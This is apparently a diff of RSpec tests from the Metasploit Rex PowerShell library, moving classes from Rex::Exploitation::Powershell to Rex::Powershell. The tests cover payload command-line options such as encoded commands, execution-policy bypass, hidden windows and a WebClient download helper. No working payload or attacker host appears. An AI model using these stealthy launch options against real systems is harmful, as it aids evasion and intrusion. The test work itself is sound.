code.include?(' -c ').should be_falsey
|
||||
end
|
||||
end
|
||||
context 'when no_equals is true' do
|
||||
it 'should contain a final payload with -e' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, encode_final_payload: true, no_equals: true, method: psh_method)
|
||||
code.include?(' -e ').should be_truthy
|
||||
code.include?(' -c ').should be_falsey
|
||||
code.include?('=').should be_falsey
|
||||
end
|
||||
end
|
||||
context 'when encode_inner_payload is true' do
|
||||
it 'should raise an exception' do
|
||||
except = false
|
||||
begin
|
||||
subject.cmd_psh_payload(payload, arch, template_path, encode_final_payload: true, encode_inner_payload: true, method: psh_method)
|
||||
rescue RuntimeError
|
||||
except = true
|
||||
end
|
||||
except.should be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'when remove_comspec' do
|
||||
it 'shouldnt contain %COMSPEC%' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, remove_comspec: true, method: psh_method)
|
||||
code.include?('%COMSPEC%').should be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
context 'when use single quotes' do
|
||||
it 'should wrap in single quotes' do
|
||||
code = subject.cmd_psh_payload(payload, arch, template_path, use_single_quotes: true, method: psh_method)
|
||||
code.include?(' -c \'').should be_truthy
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "::generate_psh_command_line" do
|
||||
it 'should contain no full stop when :no_full_stop' do
|
||||
opts = {:no_full_stop => true}
|
||||
command = subject.generate_psh_command_line(opts)
|
||||
command.include?("powershell ").should be_truthy
|
||||
end
|
||||
|
||||
it 'should contain full stop unless :no_full_stop' do
|
||||
opts = {}
|
||||
command = subject.generate_psh_command_line(opts)
|
||||
command.include?("powershell.exe ").should be_truthy
|
||||
|
||||
opts = {:no_full_stop => false}
|
||||
command = subject.generate_psh_command_line(opts)
|
||||
command.include?("powershell.exe ").should be_truthy
|
||||
end
|
||||
|
||||
it 'should ensure the path should always ends with \\' do
|
||||
opts = {:path => "test"}
|
||||
command = subject.generate_psh_command_line(opts)
|
||||
command.include?("test\\powershell.exe ").should be_truthy
|
||||
|
||||
opts = {:path => "test\\"}
|
||||
command = subject.generate_psh_command_line(opts)
|
||||
command.include?("test\\powershell.exe ").should be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
describe "::generate_psh_args" do
|
||||
it 'should return empty string for nil opts' do
|
||||
subject.generate_psh_args(nil).should eql ""
|
||||
end
|
||||
|
||||
command_args = [[:encodedcommand, "parp"],
|
||||
[:executionpolicy, "bypass"],
|
||||
[:inputformat, "xml"],
|
||||
[:file, "x"],
|
||||
[:noexit, true],
|
||||
[:nologo, true],
|
||||
[:noninteractive, true],
|
||||
[:mta, true],
|
||||
[:outputformat, 'xml'],
|
||||
[:sta, true],
|
||||
[:noprofile, true],
|
||||
[:windowstyle, "hidden"],
|
||||
[:command, "Z"]
|
||||
]
|
||||
|
||||
permutations = (0..command_args.length).to_a.combination(2).map{|i,j| command_args[i...j]}
|
||||
|
||||
permutations.each do |perms|
|
||||
opts = {}
|
||||
perms.each do |k,v|
|
||||
opts[k] = v
|
||||
it "should generate correct arguments for #{opts}" do
|
||||
opts[:shorten] = true
|
||||
short_args = subject.generate_psh_args(opts)
|
||||
opts[:shorten] = false
|
||||
long_args = subject.generate_psh_args(opts)
|
||||
|
||||
opt_length = opts.length - 1
|
||||
|
||||
short_args.should_not be_nil
|
||||
long_args.should_not be_nil
|
||||
short_args.count('-').should eql opt_length
|
||||
long_args.count('-').should eql opt_length
|
||||
short_args[0].should_not eql " "
|
||||
long_args[0].should_not eql " "
|
||||
short_args[-1].should_not eql " "
|
||||
long_args[-1].should_not eql " "
|
||||
|
||||
if opts[:command]
|
||||
long_args[-10..-1].should eql "-Command Z"
|
||||
short_args[-4..-1].should eql "-c Z"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,9 +1,9 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/powershell'
|
||||
require 'rex/powershell'
|
||||
|
||||
describe Rex::Exploitation::Powershell::Function do
|
||||
describe Rex::Powershell::Function do
|
||||
|
||||
let(:function_name) do
|
||||
Rex::Text.rand_text_alpha(15)
|
||||
|
@ -59,7 +59,7 @@ describe Rex::Exploitation::Powershell::Function do
|
|||
|
||||
describe "::initialize" do
|
||||
it 'should handle a function without params' do
|
||||
function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_without_params)
|
||||
function = Rex::Powershell::Function.new(function_name, example_function_without_params)
|
||||
function.name.should eq function_name
|
||||
function.code.should eq example_function_without_params
|
||||
function.to_s.include?("function #{function_name} #{example_function_without_params}").should be_truthy
|
||||
|
@ -68,7 +68,7 @@ describe Rex::Exploitation::Powershell::Function do
|
|||
end
|
||||
|
||||
it 'should handle a function with params' do
|
||||
function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_with_params)
|
||||
function = Rex::Powershell::Function.new(function_name, example_function_with_params)
|
||||
function.name.should eq function_name
|
||||
function.code.should eq example_function_with_params
|
||||
function.to_s.include?("function #{function_name} #{example_function_with_params}").should be_truthy
|
|
@ -1,9 +1,9 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/powershell'
|
||||
require 'rex/powershell'
|
||||
|
||||
describe Rex::Exploitation::Powershell::Obfu do
|
||||
describe Rex::Powershell::Obfu do
|
||||
|
||||
let(:example_script_without_literal) do
|
||||
"""
|
||||
|
@ -134,11 +134,11 @@ lots \t of whitespace
|
|||
end
|
||||
|
||||
let(:subject) do
|
||||
Rex::Exploitation::Powershell::Script.new(example_script)
|
||||
Rex::Powershell::Script.new(example_script)
|
||||
end
|
||||
|
||||
let(:subject_no_literal) do
|
||||
Rex::Exploitation::Powershell::Script.new(example_script_without_literal)
|
||||
Rex::Powershell::Script.new(example_script_without_literal)
|
||||
end
|
||||
|
||||
describe "::strip_comments" do
|
|
@ -1,16 +1,16 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/powershell'
|
||||
require 'rex/powershell'
|
||||
|
||||
describe Rex::Exploitation::Powershell::Output do
|
||||
describe Rex::Powershell::Output do
|
||||
|
||||
let(:example_script) do
|
||||
Rex::Text.rand_text_alpha(400)
|
||||
end
|
||||
|
||||
let(:subject) do
|
||||
Rex::Exploitation::Powershell::Script.new(example_script)
|
||||
Rex::Powershell::Script.new(example_script)
|
||||
end
|
||||
|
||||
let(:eof) do
|
|
@ -1,9 +1,9 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/powershell'
|
||||
require 'rex/powershell'
|
||||
|
||||
describe Rex::Exploitation::Powershell::Param do
|
||||
describe Rex::Powershell::Param do
|
||||
|
||||
let(:param_name) do
|
||||
Rex::Text.rand_text_alpha(15)
|
||||
|
@ -15,7 +15,7 @@ describe Rex::Exploitation::Powershell::Param do
|
|||
|
||||
describe "::initialize" do
|
||||
it 'should create a param' do
|
||||
param = Rex::Exploitation::Powershell::Param.new(klass_name, param_name)
|
||||
param = Rex::Powershell::Param.new(klass_name, param_name)
|
||||
param.should be
|
||||
param.name.should eq param_name
|
||||
param.klass.should eq klass_name
|
|
@ -1,9 +1,9 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/powershell'
|
||||
require 'rex/powershell'
|
||||
|
||||
describe Rex::Exploitation::Powershell::Parser do
|
||||
describe Rex::Powershell::Parser do
|
||||
|
||||
let(:example_script) do
|
||||
"""
|
||||
|
@ -58,7 +58,7 @@ function Find-4624Logons
|
|||
end
|
||||
|
||||
let(:subject) do
|
||||
Rex::Exploitation::Powershell::Script.new(example_script)
|
||||
Rex::Powershell::Script.new(example_script)
|
||||
end
|
||||
|
||||
describe "::get_var_names" do
|
||||
|
@ -142,7 +142,7 @@ function Find-4624Logons
|
|||
it 'should extract a function from the code' do
|
||||
function = subject.get_func('Find-4624Logons')
|
||||
function.should be
|
||||
function.should be_kind_of Rex::Exploitation::Powershell::Function
|
||||
function.should be_kind_of Rex::Powershell::Function
|
||||
end
|
||||
|
||||
it 'should return nil if function doesnt exist' do
|
|
@ -1,41 +1,41 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/powershell'
|
||||
require 'rex/powershell'
|
||||
|
||||
describe Rex::Exploitation::Powershell::PshMethods do
|
||||
describe Rex::Powershell::PshMethods do
|
||||
|
||||
describe "::download" do
|
||||
it 'should return some powershell' do
|
||||
script = Rex::Exploitation::Powershell::PshMethods.download('a','b')
|
||||
script = Rex::Powershell::PshMethods.download('a','b')
|
||||
script.should be
|
||||
script.include?('WebClient').should be_truthy
|
||||
end
|
||||
end
|
||||
describe "::uninstall" do
|
||||
it 'should return some powershell' do
|
||||
script = Rex::Exploitation::Powershell::PshMethods.uninstall('a')
|
||||
script = Rex::Powershell::PshMethods.uninstall('a')
|
||||
script.should be
|
||||
script.include?('Win32_Product').should be_truthy
|
||||
end
|
||||
end
|
||||
describe "::secure_string" do
|
||||
it 'should return some powershell' do
|
||||
script = Rex::Exploitation::Powershell::PshMethods.secure_string('a')
|
||||
script = Rex::Powershell::PshMethods.secure_string('a')
|
||||
script.should be
|
||||
script.include?('AsPlainText').should be_truthy
|
||||
end
|
||||
end
|
||||
describe "::who_locked_file" do
|
||||
it 'should return some powershell' do
|
||||
script = Rex::Exploitation::Powershell::PshMethods.who_locked_file('a')
|
||||
script = Rex::Powershell::PshMethods.who_locked_file('a')
|
||||
script.should be
|
||||
script.include?('Get-Process').should be_truthy
|
||||
end
|
||||
end
|
||||
describe "::get_last_login" do
|
||||
it 'should return some powershell' do
|
||||
script = Rex::Exploitation::Powershell::PshMethods.get_last_login('a')
|
||||
script = Rex::Powershell::PshMethods.get_last_login('a')
|
||||
script.should be
|
||||
script.include?('Get-QADComputer').should be_truthy
|
||||
end
|
|
@ -1,22 +1,22 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/powershell'
|
||||
require 'rex/powershell'
|
||||
|
||||
describe Rex::Exploitation::Powershell::Output do
|
||||
describe Rex::Powershell::Output do
|
||||
|
||||
let(:example_script) do
|
||||
Rex::Text.rand_text_alpha(400)
|
||||
end
|
||||
|
||||
let(:subject) do
|
||||
Rex::Exploitation::Powershell::Script.new(example_script)
|
||||
Rex::Powershell::Script.new(example_script)
|
||||
end
|
||||
|
||||
describe "::initialize" do
|
||||
it 'should create a new script object' do
|
||||
subject.should be
|
||||
subject.should be_kind_of Rex::Exploitation::Powershell::Script
|
||||
subject.should be_kind_of Rex::Powershell::Script
|
||||
subject.rig.should be
|
||||
subject.rig.should be_kind_of Rex::RandomIdentifierGenerator
|
||||
subject.code.should be
|
||||
|
@ -28,7 +28,7 @@ describe Rex::Exploitation::Powershell::Output do
|
|||
|
||||
describe "::to_byte_array" do
|
||||
it 'should generate a powershell byte array' do
|
||||
byte_array = Rex::Exploitation::Powershell::Script.to_byte_array("parp")
|
||||
byte_array = Rex::Powershell::Script.to_byte_array("parp")
|
||||
byte_array.should be
|
||||
byte_array.should be_kind_of String
|
||||
byte_array.include?('[Byte[]] $').should be_truthy
|
||||
|
@ -37,7 +37,7 @@ describe Rex::Exploitation::Powershell::Output do
|
|||
|
||||
describe "::code_modifiers" do
|
||||
it 'should return an array of modifier methods' do
|
||||
mods = Rex::Exploitation::Powershell::Script.code_modifiers
|
||||
mods = Rex::Powershell::Script.code_modifiers
|
||||
mods.should be
|
||||
mods.should be_kind_of Array
|
||||
mods.empty?.should be_falsey
|
|
@ -1,9 +1,9 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/powershell'
|
||||
require 'rex/powershell'
|
||||
|
||||
describe Rex::Exploitation::Powershell do
|
||||
describe Rex::Powershell do
|
||||
|
||||
let(:example_script) do
|
||||
"""function DumpHashes
|
||||
|
@ -24,7 +24,7 @@ DumpHashes"""
|
|||
describe "::read_script" do
|
||||
it 'should create a script from a string input' do
|
||||
script = described_class.read_script(example_script)
|
||||
script.should be_a_kind_of Rex::Exploitation::Powershell::Script
|
||||
script.should be_a_kind_of Rex::Powershell::Script
|
||||
end
|
||||
end
|
||||
|
Loading…
Reference in New Issue